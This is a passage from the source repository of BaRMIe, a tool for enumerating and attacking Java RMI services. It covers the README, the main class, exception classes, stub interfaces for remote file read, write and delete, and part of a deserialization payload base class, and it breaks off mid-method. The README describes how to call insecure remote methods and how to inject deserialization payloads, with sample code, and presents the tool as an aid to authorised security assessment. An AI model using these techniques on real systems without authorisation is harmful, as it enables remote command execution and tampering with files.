├── .gitignore ├── LICENSE ├── README.md └── src ├── axiomsl └── server │ └── rmi │ ├── FileBrowserStub.java │ └── FileInformation.java ├── nb └── barmie │ ├── BaRMIe.java │ ├── exceptions │ ├── BaRMIeAttackException.java │ ├── BaRMIeDeserAttackException.java │ ├── BaRMIeDeserPayloadGenerationException.java │ ├── BaRMIeException.java │ ├── BaRMIeGetObjectException.java │ ├── BaRMIeIllegalArgumentException.java │ ├── BaRMIeInputException.java │ ├── BaRMIeInvalidPortException.java │ ├── BaRMIeInvalidReplyDataPacketException.java │ ├── BaRMIeObjectProxyException.java │ ├── BaRMIeProxyAlreadyStartedException.java │ ├── BaRMIeProxyStartupException.java │ ├── BaRMIeRemoteMethodCallException.java │ ├── BaRMIeUnsupportedException.java │ └── BaRMIeWriteFileException.java │ ├── modes │ ├── attack │ │ ├── AttackMode.java │ │ ├── DeserPayload.java │ │ ├── DeserPayloadFactory.java │ │ ├── RMIAttack.java │ │ ├── RMIAttackFactory.java │ │ ├── RMIDeserAttack.java │ │ ├── RMITargetData.java │ │ ├── attacks │ │ │ ├── Axiom │ │ │ │ ├── DeleteFile.java │ │ │ │ ├── ListFiles.java │ │ │ │ ├── ReadFile.java │ │ │ │ └── WriteFile.java │ │ │ ├── Java │ │ │ │ ├── IllegalRegistryBind.java │ │ │ │ └── JMXDeser.java │ │ │ └── SpringFramework │ │ │ │ ├── RmiInvocationHandlerDeser.java │ │ │ │ └── Spring2RmiInvocationHandlerDeser.java │ │ └── deser │ │ │ └── payloads │ │ │ ├── CommonsCollectionsPayload1.java │ │ │ ├── CommonsCollectionsPayload2.java │ │ │ ├── GroovyPayload1.java │ │ │ ├── GroovyPayload2.java │ │ │ ├── JBossInterceptorsPayload1.java │ │ │ ├── ROMEPayload1.java │ │ │ ├── ROMEPayload2.java │ │ │ ├── RhinoPayload1.java │ │ │ ├── RhinoPayload2.java │ │ │ ├── RhinoPayload3.java │ │ │ ├── RhinoPayload4.java │ │ │ ├── RhinoPayload5.java │ │ │ └── RhinoPayload6.java │ └── enumeration │ │ ├── EnumerationMode.java │ │ ├── EnumerationTask.java │ │ ├── RMIEndpoint.java │ │ ├── RMIEnumerator.java │ │ ├── RMIObject.java │ │ └── RMIReplyDataParser.java │ ├── net │ ├── TCPEndpoint.java │ ├── TimeoutClientSocketFactory.java │ └── proxy │ │ ├── PortForwarder.java │ │ ├── ProxyServer.java │ │ ├── ProxySession.java │ │ ├── RMIBindExploitProxy.java │ │ ├── RMIMethodCallProxy.java │ │ ├── RMIObjectProxy.java │ │ ├── RMIObjectUIDFixingProxy.java │ │ ├── RMIReturnDataCapturingProxy.java │ │ └── thread │ │ ├── BindPayloadInjectingProxyThread.java │ │ ├── MethodCallPayloadInjectingProxyThread.java │ │ ├── ObjectRedirectProxyThread.java │ │ ├── PassThroughProxyThread.java │ │ ├── ProxyThread.java │ │ ├── ReplyDataCapturingProxyThread.java │ │ └── UIDFixingProxyThread.java │ └── util │ ├── DataDumper.java │ ├── ProgramOptions.java │ ├── SerializationDumper.java │ └── support │ ├── ClassDataDesc.java │ ├── ClassDetails.java │ └── ClassField.java └── org └── springframework └── remoting ├── rmi ├── RmiInvocationHandler.java └── RmiInvocationWrapper_Stub.java └── support └── RemoteInvocation.java /.gitignore: -------------------------------------------------------------------------------- 1 | # Compiled class file 2 | *.class 3 | 4 | # Log file 5 | *.log 6 | 7 | # BlueJ files 8 | *.ctxt 9 | 10 | # Mobile Tools for Java (J2ME) 11 | .mtj.tmp/ 12 | 13 | # Package Files # 14 | *.jar 15 | *.war 16 | *.ear 17 | *.zip 18 | *.tar.gz 19 | *.rar 20 | 21 | # virtual machine crash logs, see http://www.java.com/en/download/help/error_hotspot.xml 22 | hs_err_pid* 23 | /nbproject/ 24 | /build.xml 25 | /manifest.mf 26 | /build/ 27 | /dist/ 28 | /test/ 29 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2017 Nicky Bloor 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # BaRMIe 2 | BaRMIe is a tool for enumerating and attacking Java RMI (Remote Method Invocation) services. 3 | 4 | RMI services often expose dangerous functionality without adequate security controls, however RMI services tend to pass under the radar during security assessments due to the lack of effective testing tools. In 2008 Adam Boulton spoke at AppSec USA ([YouTube](https://www.youtube.com/watch?v=owN9EnoLsFY)) and released some RMI attack tools which disappeared soon after, however even with those tools a successful zero-knowledge attack relies on a significant brute force attack (~64-bits/9 quintillion possibilities) being performed over the network. 5 | 6 | The goal of BaRMIe is to enable security professionals to identify, attack, and secure insecure RMI services. Using partial RMI interfaces from existing software, BaRMIe can interact directly with those services without first brute forcing 64-bits over the network. 7 | 8 | Download the latest version build and ready to run here: [https://github.com/NickstaDB/BaRMIe/releases/latest](https://github.com/NickstaDB/BaRMIe/releases/latest) 9 | 10 | ### Disclaimer 11 | BaRMIe was written to aid security professionals in identifying insecure RMI services on systems which the user has prior permission to attack. Unauthorised access to computer systems is illegal and BaRMIe must be used in accordance with all relevant laws. Failure to do so could lead to you being prosecuted. The developers of BaRMIe assume no liability and are not responsible for any misuse or damage caused by this program. 12 | 13 | ## Usage 14 | Use of BaRMIe is straightforward. Run BaRMIe with no parameters for usage information. 15 | 16 | $ java -jar BaRMIe.jar 17 | ▄▄▄▄ ▄▄▄ ██▀███ ███▄ ▄███▓ ██▓▓█████ 18 | ▓█████▄ ▒████▄ ▓██ ▒ ██▒▓██▒▀█▀ ██▒▓██▒▓█ ▀ 19 | ▒██▒ ▄██▒██ ▀█▄ ▓██ ░▄█ ▒▓██ ▓██░▒██▒▒███ 20 | ▒██░█▀ ░██▄▄▄▄██ ▒██▀▀█▄ ▒██ ▒██ ░██░▒▓█ ▄ 21 | ░▓█ ▀█▓ ▓█ ▓██▒░██▓ ▒██▒▒██▒ ░██▒░██░░▒████▒ 22 | ░▒▓███▀▒ ▒▒ ▓▒█░░ ▒▓ ░▒▓░░ ▒░ ░ ░░▓ ░░ ▒░ ░ 23 | ▒░▒ ░ ▒ ▒▒ ░ ░▒ ░ ▒░░ ░ ░ ▒ ░ ░ ░ ░ 24 | ░ ░ ░ ▒ ░░ ░ ░ ░ ▒ ░ ░ 25 | ░ ░ ░ ░ ░ ░ ░ ░ 26 | ░ v1.0 27 | Java RMI enumeration tool. 28 | Written by Nicky Bloor (@NickstaDB) 29 | 30 | Warning: BaRMIe was written to aid security professionals in identifying the 31 | insecure use of RMI services on systems which the user has prior 32 | permission to attack. BaRMIe must be used in accordance with all 33 | relevant laws. Failure to do so could lead to your prosecution. 34 | The developers assume no liability and are not responsible for any 35 | misuse or damage caused by this program. 36 | 37 | Usage: 38 | BaRMIe -enum [options] [host] [port] 39 | Enumerate RMI services on the given endpoint(s). 40 | Note: if -enum is not specified, this is the default mode. 41 | BaRMIe -attack [options] [host] [port] 42 | Enumerate and attack the given target(s). 43 | Options: 44 | --threads The number of threads to use for enumeration (default 10). 45 | --timeout The timeout for blocking socket operations (default 5,000ms). 46 | --targets A file containing targets to scan. 47 | The file should contain a single host or space-separated 48 | host and port pair per line. 49 | Alternatively, all nmap output formats are supported, BaRMIe will 50 | parse nmap output for port 1099, 'rmiregistry', or 'Java RMI' 51 | services to target. 52 | Note: [host] [port] not supported when --targets is used. 53 | Reliability: 54 | A +/- system is used to indicate attack reliability as follows: 55 | [+ ]: Indicates an application-specific attack 56 | [- ]: Indicates a JRE attack 57 | [ + ]: Attack insecure methods (such as 'writeFile' without auth) 58 | [ - ]: Attack Java deserialization (i.e. Object parameters) 59 | [ +]: Does not require non-default dependencies 60 | [ -]: Non-default dependencies are required 61 | 62 | Enumeration mode (-enum) extracts details of objects that are exposed through an RMI registry service and lists any known attacks that affect the endpoint. 63 | 64 | Attack mode (-attack) first enumerates the given targets, then provides a menu system for launching known attacks against RMI services. 65 | 66 | A single target can be specified on the command line. Alternatively BaRMIe can extract targets from a simple text file or nmap output. 67 | 68 | ## No Vulnerable Targets Identified? 69 | Great! This is your opportunity to help improve BaRMIe! BaRMIe relies on *some* knowledge of the classes exposed over RMI so contributions will go a long way in improving BaRMIe and the security of RMI services. 70 | 71 | If you have access to JAR files or source code for the target application then producing an attack is as simple as compiling code against the relevant JAR files. Retrieve the relevant remote object using the *LocateRegistry* and *Registry* classes and call the desired methods. Alternatively look for remote methods that accept arbitrary objects or otherwise non-primitive parameters as these can be used to deliver deserialization payloads. More documentation on attacking RMI and producing attacks for BaRMIe will be made available in the near future. 72 | 73 | Alternatively, [get in touch](https://nickbloor.co.uk/contact/), and provide as much detail as possible including BaRMIe -enum output and ideally the relevant JAR files. 74 | 75 | ## Attack Types 76 | BaRMIe is capable of performing three types of attacks against RMI services. A brief description of each follows. Further technical details will be published in the near future at [https://nickbloor.co.uk/](https://nickbloor.co.uk/). In addition to this, I presented the results of my research at 44CON 2017 and the slides can be found here: [BaRMIe - Poking Java's Back Door](https://www.slideshare.net/NickBloor3/nicky-bloor-barmie-poking-javas-back-door-44con-2017). 77 | 78 | ### 1. Attacking Insecure Methods 79 | The first and most straightforward method of attacking insecure RMI services is to simply call insecure remote methods. Often dangerous functionality is exposed over RMI which can be triggered by simply retrieving the remote object reference and calling the dangerous method. The following code is an example of this: 80 | 81 | //Get a reference to the remote RMI registry service 82 | Registry reg = LocateRegistry.getRegistry(targetHost, targetPort); 83 | 84 | //Get a reference to the target RMI object 85 | Foo bar = (Foo)reg.lookup(objectName); 86 | 87 | //Call the remote executeCommand() method 88 | bar.executeCommand(cmd); 89 | 90 | ### 2. Deserialization via Object-type Paraeters 91 | Some RMI services do not expose dangerous functionality, or they implement security controls such as authentication and session management. If the RMI service exposes a method that accepts an arbitrary Object as a parameter then the method can be used as an entry point for deserialization attacks. Some examples of such methods can be seen below: 92 | 93 | public void setOption(String name, Object value); 94 | public void addAll(List values); 95 | 96 | ### 3. Deserialization via Illegal Method Invocation 97 | Due to the use of serialization, and insecure handling of method parameters on the server, it is possible to use any method with non-primitive parameter types as an entry point for deserialization attacks. BaRMIe achieves this by using TCP proxies to modify method parameters at the network level, essentially triggering illegal method invocations. Some examples of vulnerable methods can be seen below: 98 | 99 | public void setName(String name); 100 | public Long add(Integer i1, Integer i2); 101 | public void sum(int[] values); 102 | 103 | The parameters to each of these methods can be replaced with a deserialization payload as the method invocation passes through a proxy. This attack is possible because Java does not attempt to verify that remote method parameters received over the network are compatible with the actual parameter types before deserializing them. 104 | -------------------------------------------------------------------------------- /src/axiomsl/server/rmi/FileBrowserStub.java: -------------------------------------------------------------------------------- 1 | package axiomsl.server.rmi; 2 | 3 | import java.io.IOException; 4 | import java.rmi.Remote; 5 | import java.rmi.RemoteException; 6 | 7 | /*********************************************************** 8 | * FileBrowserStub for AxiomSL attacks. 9 | * 10 | * Written by Nicky Bloor (@NickstaDB). 11 | **********************************************************/ 12 | public abstract interface FileBrowserStub extends Remote { 13 | public abstract FileInformation[] listFilesOnServer(String paramString) throws RemoteException; 14 | public abstract byte[] readFile(String paramString, long paramLong, int paramInt) throws IOException; 15 | public abstract void writeFile(String paramString, byte[] paramArrayOfByte) throws IOException; 16 | public abstract boolean deleteFile(String paramString, boolean paramBoolean) throws RemoteException; 17 | public abstract FileInformation getFileInformation(String paramString) throws RemoteException; 18 | } 19 | -------------------------------------------------------------------------------- /src/axiomsl/server/rmi/FileInformation.java: -------------------------------------------------------------------------------- 1 | package axiomsl.server.rmi; 2 | 3 | import java.io.Serializable; 4 | 5 | /*********************************************************** 6 | * FileInformation class for AxiomSL attacks. 7 | * 8 | * Written by Nicky Bloor (@NickstaDB). 9 | **********************************************************/ 10 | public class FileInformation implements Serializable { 11 | public static final long serialVersionUID = -1757023938083597173L; 12 | public String sAbsolutePath; 13 | public String sFileName; 14 | public String sPath; 15 | public boolean bExists; 16 | public long lLastModified; 17 | public long lSize; 18 | public boolean bIsDirectory; 19 | } 20 | -------------------------------------------------------------------------------- /src/nb/barmie/BaRMIe.java: -------------------------------------------------------------------------------- 1 | package nb.barmie; 2 | 3 | import nb.barmie.exceptions.BaRMIeIllegalArgumentException; 4 | import nb.barmie.exceptions.BaRMIeInvalidPortException; 5 | import nb.barmie.modes.attack.AttackMode; 6 | import nb.barmie.modes.enumeration.EnumerationMode; 7 | import nb.barmie.util.ProgramOptions; 8 | 9 | /*********************************************************** 10 | * Java RMI enumeration and attack tool. 11 | ********************************************************** 12 | * v1.0 13 | * -> Initial release with several attacks and 14 | * deserialization payloads. 15 | * v1.01 16 | * -> Added JMX deserialization payload and improved some 17 | * error handling. 18 | ********************************************************** 19 | * Written by Nicky Bloor (@NickstaDB). 20 | **********************************************************/ 21 | public class BaRMIe { 22 | /******************* 23 | * Entry point - parse command line params, validate, and run the selected 24 | * mode. 25 | ******************/ 26 | public static void main(String[] args) { 27 | ProgramOptions options; 28 | 29 | //Print a banner 'cause leet and stuff. 30 | System.out.println("\n ▄▄▄▄ ▄▄▄ ██▀███ ███▄ ▄███▓ ██▓▓█████ \n" + 31 | " ▓█████▄ ▒████▄ ▓██ ▒ ██▒▓██▒▀█▀ ██▒▓██▒▓█ ▀ \n" + 32 | " ▒██▒ ▄██▒██ ▀█▄ ▓██ ░▄█ ▒▓██ ▓██░▒██▒▒███ \n" + 33 | " ▒██░█▀ ░██▄▄▄▄██ ▒██▀▀█▄ ▒██ ▒██ ░██░▒▓█ ▄ \n" + 34 | " ░▓█ ▀█▓ ▓█ ▓██▒░██▓ ▒██▒▒██▒ ░██▒░██░░▒████▒\n" + 35 | " ░▒▓███▀▒ ▒▒ ▓▒█░░ ▒▓ ░▒▓░░ ▒░ ░ ░░▓ ░░ ▒░ ░\n" + 36 | " ▒░▒ ░ ▒ ▒▒ ░ ░▒ ░ ▒░░ ░ ░ ▒ ░ ░ ░ ░\n" + 37 | " ░ ░ ░ ▒ ░░ ░ ░ ░ ▒ ░ ░ \n" + 38 | " ░ ░ ░ ░ ░ ░ ░ ░\n" + 39 | " ░ v1.01\n" + 40 | " Java RMI enumeration tool.\n" + 41 | " Written by Nicky Bloor (@NickstaDB)\n\n" + 42 | "Warning: BaRMIe was written to aid security professionals in identifying the\n" + 43 | " insecure use of RMI services on systems which the user has prior\n" + 44 | " permission to attack. BaRMIe must be used in accordance with all\n" + 45 | " relevant laws. Failure to do so could lead to your prosecution.\n" + 46 | " The developers assume no liability and are not responsible for any\n" + 47 | " misuse or damage caused by this program.\n"); 48 | 49 | //Just print usage if command line is empty 50 | if(args.length == 0) { 51 | printUsage(""); 52 | return; 53 | } 54 | 55 | //Parse command line options 56 | try { 57 | options = new ProgramOptions(args); 58 | } catch(BaRMIeIllegalArgumentException|BaRMIeInvalidPortException ex) { 59 | //Something wrong with the command line 60 | printUsage(ex.getMessage()); 61 | return; 62 | } 63 | 64 | //Delegate to the relevant program mode 65 | switch(options.getExecutionMode()) { 66 | case "-enum": 67 | //Enumerate RMI endpoints 68 | new EnumerationMode(options).run(); 69 | break; 70 | 71 | case "-attack": 72 | //Attack RMI endpoints 73 | new AttackMode(options).run(); 74 | break; 75 | 76 | default: 77 | //Shouldn't happen, whatever... 78 | printUsage("Invalid mode specified."); 79 | } 80 | } 81 | 82 | /******************* 83 | * Print a usage message. 84 | * 85 | * @param error Error message, e.g. if there was an issue with command line options. 86 | ******************/ 87 | private static void printUsage(String error) { 88 | System.out.println((error.equals("") ? "" : "Error: " + error + "\n\n") + 89 | "Usage:\n" + 90 | " BaRMIe -enum [options] [host] [port]\n" + 91 | " Enumerate RMI services on the given endpoint(s).\n" + 92 | " Note: if -enum is not specified, this is the default mode.\n" + 93 | " BaRMIe -attack [options] [host] [port]\n" + 94 | " Enumerate and attack the given target(s).\n" + 95 | "Options:\n" + 96 | " --threads The number of threads to use for enumeration (default 10).\n" + 97 | " --timeout The timeout for blocking socket operations (default 5,000ms).\n" + 98 | " --targets A file containing targets to scan.\n" + 99 | " The file should contain a single host or space-separated\n" + 100 | " host and port pair per line.\n" + 101 | " Alternatively, all nmap output formats are supported, BaRMIe will\n" + 102 | " parse nmap output for port 1099, 'rmiregistry', or 'Java RMI'\n" + 103 | " services to target.\n" + 104 | " Note: [host] [port] not supported when --targets is used.\n" + 105 | "Reliability:\n" + 106 | " A +/- system is used to indicate attack reliability as follows:\n" + 107 | " [+ ]: Indicates an application-specific attack\n" + 108 | " [- ]: Indicates a JRE attack\n" + 109 | " [ + ]: Attack insecure methods (such as 'writeFile' without auth)\n" + 110 | " [ - ]: Attack Java deserialization (i.e. Object parameters)\n" + 111 | " [ +]: Does not require non-default dependencies\n" + 112 | " [ -]: Non-default dependencies are required" 113 | ); 114 | } 115 | } 116 | -------------------------------------------------------------------------------- /src/nb/barmie/exceptions/BaRMIeAttackException.java: -------------------------------------------------------------------------------- 1 | package nb.barmie.exceptions; 2 | 3 | /*********************************************************** 4 | * Exception thrown if an attack fails for some reason. 5 | * 6 | * Written by Nicky Bloor (@NickstaDB). 7 | **********************************************************/ 8 | public class BaRMIeAttackException extends BaRMIeException { 9 | public BaRMIeAttackException(String message, Throwable cause) { 10 | super(message, cause); 11 | } 12 | } 13 | -------------------------------------------------------------------------------- /src/nb/barmie/exceptions/BaRMIeDeserAttackException.java: -------------------------------------------------------------------------------- 1 | package nb.barmie.exceptions; 2 | 3 | /*********************************************************** 4 | * Exception thrown if a deserialization attack fails for 5 | * some reason. 6 | * 7 | * Written by Nicky Bloor (@NickstaDB). 8 | **********************************************************/ 9 | public class BaRMIeDeserAttackException extends BaRMIeException { 10 | public BaRMIeDeserAttackException(String message, Throwable cause) { 11 | super(message, cause); 12 | } 13 | } 14 | -------------------------------------------------------------------------------- /src/nb/barmie/exceptions/BaRMIeDeserPayloadGenerationException.java: -------------------------------------------------------------------------------- 1 | package nb.barmie.exceptions; 2 | 3 | /*********************************************************** 4 | * Exception thrown if there is a problem generating a 5 | * deserialization payload. 6 | * 7 | * Written by Nicky Bloor (@NickstaDB). 8 | **********************************************************/ 9 | public class BaRMIeDeserPayloadGenerationException extends BaRMIeException { 10 | public BaRMIeDeserPayloadGenerationException(String message, Throwable cause) { 11 | super(message, cause); 12 | } 13 | } 14 | -------------------------------------------------------------------------------- /src/nb/barmie/exceptions/BaRMIeException.java: -------------------------------------------------------------------------------- 1 | package nb.barmie.exceptions; 2 | 3 | /*********************************************************** 4 | * Base class for exceptions thrown by BaRMIe. 5 | * 6 | * Written by Nicky Bloor (@NickstaDB). 7 | **********************************************************/ 8 | public abstract class BaRMIeException extends Exception { 9 | public BaRMIeException(String message) { 10 | super(message); 11 | } 12 | 13 | public BaRMIeException(String message, Throwable cause) { 14 | super(message, cause); 15 | } 16 | } 17 | -------------------------------------------------------------------------------- /src/nb/barmie/exceptions/BaRMIeGetObjectException.java: -------------------------------------------------------------------------------- 1 | package nb.barmie.exceptions; 2 | 3 | /*********************************************************** 4 | * Exception thrown if there was a problem getting an 5 | * object from an RMI registry during an attack. 6 | * 7 | * Written by Nicky Bloor (@NickstaDB). 8 | **********************************************************/ 9 | public class BaRMIeGetObjectException extends BaRMIeException { 10 | public BaRMIeGetObjectException(String message, Throwable cause) { 11 | super(message, cause); 12 | } 13 | } 14 | -------------------------------------------------------------------------------- /src/nb/barmie/exceptions/BaRMIeIllegalArgumentException.java: -------------------------------------------------------------------------------- 1 | package nb.barmie.exceptions; 2 | 3 | /*********************************************************** 4 | * Exception thrown if invalid command line arguments are 5 | * passed in. 6 | * 7 | * Written by Nicky Bloor (@NickstaDB). 8 | **********************************************************/ 9 | public class BaRMIeIllegalArgumentException extends BaRMIeException { 10 | public BaRMIeIllegalArgumentException(String message) { 11 | super(message); 12 | } 13 | 14 | public BaRMIeIllegalArgumentException(String message, Throwable cause) { 15 | super(message, cause); 16 | } 17 | } 18 | -------------------------------------------------------------------------------- /src/nb/barmie/exceptions/BaRMIeInputException.java: -------------------------------------------------------------------------------- 1 | package nb.barmie.exceptions; 2 | 3 | /*********************************************************** 4 | * Exception thrown if there was an IOException whilst 5 | * reading from STDIN. 6 | * 7 | * I.e. when an attack class is prompting for attack 8 | * input/options. 9 | * 10 | * Written by Nicky Bloor (@NickstaDB). 11 | **********************************************************/ 12 | public class BaRMIeInputException extends BaRMIeException { 13 | public BaRMIeInputException(Throwable cause) { 14 | super("An IOException occurred whilst reading from STDIN.", cause); 15 | } 16 | } 17 | -------------------------------------------------------------------------------- /src/nb/barmie/exceptions/BaRMIeInvalidPortException.java: -------------------------------------------------------------------------------- 1 | package nb.barmie.exceptions; 2 | 3 | /*********************************************************** 4 | * Exception thrown if an invalid port number is specified 5 | * for a target. 6 | * 7 | * Written by Nicky Bloor (@NickstaDB). 8 | **********************************************************/ 9 | public class BaRMIeInvalidPortException extends BaRMIeException { 10 | public BaRMIeInvalidPortException(int portNumber) { 11 | super("The given port number (" + portNumber + ") is not a valid TCP port number."); 12 | } 13 | } 14 | -------------------------------------------------------------------------------- /src/nb/barmie/exceptions/BaRMIeInvalidReplyDataPacketException.java: -------------------------------------------------------------------------------- 1 | package nb.barmie.exceptions; 2 | 3 | /*********************************************************** 4 | * Exception thrown if the contents of a ReplyData packet 5 | * captured through the RMI registry proxy do not appear 6 | * to be valid. 7 | * 8 | * Written by Nicky Bloor (@NickstaDB). 9 | **********************************************************/ 10 | public class BaRMIeInvalidReplyDataPacketException extends BaRMIeException { 11 | public BaRMIeInvalidReplyDataPacketException(String message) { 12 | super(message); 13 | } 14 | 15 | public BaRMIeInvalidReplyDataPacketException(String message, Throwable cause) { 16 | super(message, cause); 17 | } 18 | } 19 | -------------------------------------------------------------------------------- /src/nb/barmie/exceptions/BaRMIeObjectProxyException.java: -------------------------------------------------------------------------------- 1 | package nb.barmie.exceptions; 2 | 3 | /*********************************************************** 4 | * Exception thrown if a DeliveryMethod has problems with 5 | * proxying a remote object or remote method call. 6 | * 7 | * Written by Nicky Bloor (@NickstaDB). 8 | **********************************************************/ 9 | public class BaRMIeObjectProxyException extends BaRMIeException { 10 | public BaRMIeObjectProxyException(String message, Throwable cause) { 11 | super(message, cause); 12 | } 13 | } 14 | -------------------------------------------------------------------------------- /src/nb/barmie/exceptions/BaRMIeProxyAlreadyStartedException.java: -------------------------------------------------------------------------------- 1 | package nb.barmie.exceptions; 2 | 3 | /*********************************************************** 4 | * Exception thrown if a proxy is started is started and 5 | * hasn't been shut down since last starting it. 6 | * 7 | * Written by Nicky Bloor (@NickstaDB). 8 | **********************************************************/ 9 | public class BaRMIeProxyAlreadyStartedException extends BaRMIeException { 10 | public BaRMIeProxyAlreadyStartedException(String message) { super(message); } 11 | } 12 | -------------------------------------------------------------------------------- /src/nb/barmie/exceptions/BaRMIeProxyStartupException.java: -------------------------------------------------------------------------------- 1 | package nb.barmie.exceptions; 2 | 3 | /*********************************************************** 4 | * Exception thrown if an exception occurs during proxy 5 | * server startup - for example if there's an IOException 6 | * whilst creating the ServerSocket. 7 | * 8 | * Written by Nicky Bloor (@NickstaDB). 9 | **********************************************************/ 10 | public class BaRMIeProxyStartupException extends BaRMIeException { 11 | public BaRMIeProxyStartupException(String message, Throwable cause) { super(message, cause); } 12 | } 13 | -------------------------------------------------------------------------------- /src/nb/barmie/exceptions/BaRMIeRemoteMethodCallException.java: -------------------------------------------------------------------------------- 1 | package nb.barmie.exceptions; 2 | 3 | /*********************************************************** 4 | * Exception thrown if there was a problem calling a remote 5 | * method during an attack. 6 | * 7 | * Written by Nicky Bloor (@NickstaDB). 8 | **********************************************************/ 9 | public class BaRMIeRemoteMethodCallException extends BaRMIeException { 10 | public BaRMIeRemoteMethodCallException(String message, Throwable cause) { 11 | super(message, cause); 12 | } 13 | } 14 | -------------------------------------------------------------------------------- /src/nb/barmie/exceptions/BaRMIeUnsupportedException.java: -------------------------------------------------------------------------------- 1 | package nb.barmie.exceptions; 2 | 3 | /*********************************************************** 4 | * Exception thrown if an unsupported executeAttack() 5 | * method is called on an RMIAttack object. 6 | * 7 | * E.g. if a deserialization attack is executed without a 8 | * deserialization payload. 9 | * 10 | * Written by Nicky Bloor (@NickstaDB). 11 | **********************************************************/ 12 | public class BaRMIeUnsupportedException extends BaRMIeException { 13 | public BaRMIeUnsupportedException(String message) { 14 | super(message); 15 | } 16 | } 17 | -------------------------------------------------------------------------------- /src/nb/barmie/exceptions/BaRMIeWriteFileException.java: -------------------------------------------------------------------------------- 1 | package nb.barmie.exceptions; 2 | 3 | /*********************************************************** 4 | * Exception thrown if the writeFile method of RMIAttack 5 | * fails for some reason. 6 | * 7 | * Written by Nicky Bloor (@NickstaDB). 8 | **********************************************************/ 9 | public class BaRMIeWriteFileException extends BaRMIeException { 10 | public BaRMIeWriteFileException(String message, Throwable cause) { 11 | super(message, cause); 12 | } 13 | } 14 | -------------------------------------------------------------------------------- /src/nb/barmie/modes/attack/DeserPayload.java: -------------------------------------------------------------------------------- 1 | package nb.barmie.modes.attack; 2 | 3 | import nb.barmie.exceptions.BaRMIeException; 4 | import nb.barmie.modes.enumeration.RMIEndpoint; 5 | 6 | /*********************************************************** 7 | * DeserPayload base class. 8 | * 9 | * All deserialization payloads must extend this class and implement the 10 | * following method: 11 | * getBytes(String cmd, int handleCorrection): Generate and return the payload bytes to execute a given command. 12 | * 13 | * Written by Nicky Bloor (@NickstaDB). 14 | **********************************************************/ 15 | public abstract class DeserPayload { 16 | /******************* 17 | * Constants 18 | ******************/ 19 | protected final String REMEDIATION_NO_FIX = "No fix currently available. Consider removing the library from the CLASSPATH of the RMI service."; 20 | 21 | /******************* 22 | * Properties 23 | ******************/ 24 | private String _name; //A short name for the payload 25 | private String[] _affectedJars; //An array of JAR filenames that are affected by this deserialization payload 26 | private String _description; //A brief one-liner description of the payload 27 | private String _remediationAdvice; //Remediation advice 28 | 29 | /******************* 30 | * Default constructor, defaults all properties 31 | ******************/ 32 | public DeserPayload() { 33 | this._name = ""; 34 | this._affectedJars = null; 35 | this._description = ""; 36 | this._remediationAdvice = ""; 37 | } 38 | 39 | /******************* 40 | * Check if this payload affects the given RMI endpoint. 41 | * 42 | * Note that this won't always return true when the endpoint is affected. 43 | * The detection relies on the exposed objects being annotated with the 44 | * Java CLASSPATH. If this information isn't available the endpoint may 45 | * still be vulnerable. 46 | * 47 | * @param ep An enumerated endpoint 48 | * @return True if this deserialization payload affects the endpoint. 49 | ******************/ 50 | public final boolean doesAffectEndpoint(RMIEndpoint ep) { 51 | for(String jar: this._affectedJars) { 52 | if(ep.hasJar(jar)) { 53 | return true; 54 | } 55 | } 56 | return false; 57 | } 58 | 59 | /******************* 60 | * Generate the payload bytes to execute the given command line. 61 | * 62 | * When a payload is injected into a remote method invocation packet, the 63 | * packet may have other objects (or method parameters) prior to the 64 | * payload injection point. Any such elements in the serialized data for 65 | * the method call will result in the handle value for TC_REFERENCE 66 | * elements being incremented. As a result, any TC_REFERENCE elements 67 | * within the payload itself may have incorrect handle values (i.e. the 68 | * first handle in the payload data should be 0x007e0000, if there's a 69 | * handle already in the packet then that will also have the handle value 70 | * 0x007e0000 and a reference within the payload to 0x007e0000 will point 71 | * at the wrong content element, so to correct this we need to add 1 to 72 | * all TC_REFERENCE elements in the payload bytes). 73 | * 74 | * @param cmd The operating system command to execute. 75 | * @param refCorrection The amount to correct TC_REFERENCE handles by (see note above). 76 | * @return An array of bytes making up the deserialization payload. 77 | ******************/ 78 | public abstract byte[] getBytes(String cmd, int refCorrection) throws BaRMIeException; 79 | 80 | /******************* 81 | * Get the payload name. 82 | * 83 | * @return The name of the payload. 84 | ******************/ 85 | public final String getName() { 86 | return this._name; 87 | } 88 | 89 | /******************* 90 | * Set the payload name. 91 | * 92 | * @param name The name of the payload. 93 | ******************/ 94 | protected final void setName(String name) { 95 | this._name = name; 96 | } 97 | 98 | /******************* 99 | * Get the array of jar files affected by this deserialization payload. 100 | * 101 | * @return An array of strings which are jar file names affected by this payload. 102 | ******************/ 103 | public final String[] getAffectedJars() { 104 | return this._affectedJars; 105 | } 106 | 107 | /******************* 108 | * Set the array of jar files that are affected by this deserialization payload. 109 | * 110 | * @param affectedJars An array of strings which are the jar files affected by this payload. 111 | ******************/ 112 | protected final void setAffectedJars(String[] affectedJars) { 113 | this._affectedJars = affectedJars; 114 | } 115 | 116 | /******************* 117 | * Get a brief description of this payload. 118 | * 119 | * @return A brief description of this payload. 120 | ******************/ 121 | public final String getDescription() { 122 | return this._description; 123 | } 124 | 125 | /******************* 126 | * Set a brief description for the payload. 127 | * 128 | * @param description A brief description of the payload. 129 | ******************/ 130 | protected final void setDescription(String description) { 131 | this._description = description; 132 | } 133 | 134 | /******************* 135 | * Get remediation advice for this payload. 136 | * 137 | * @return Remediation advice that may help in defending against this payload. 138 | ******************/ 139 | public final String 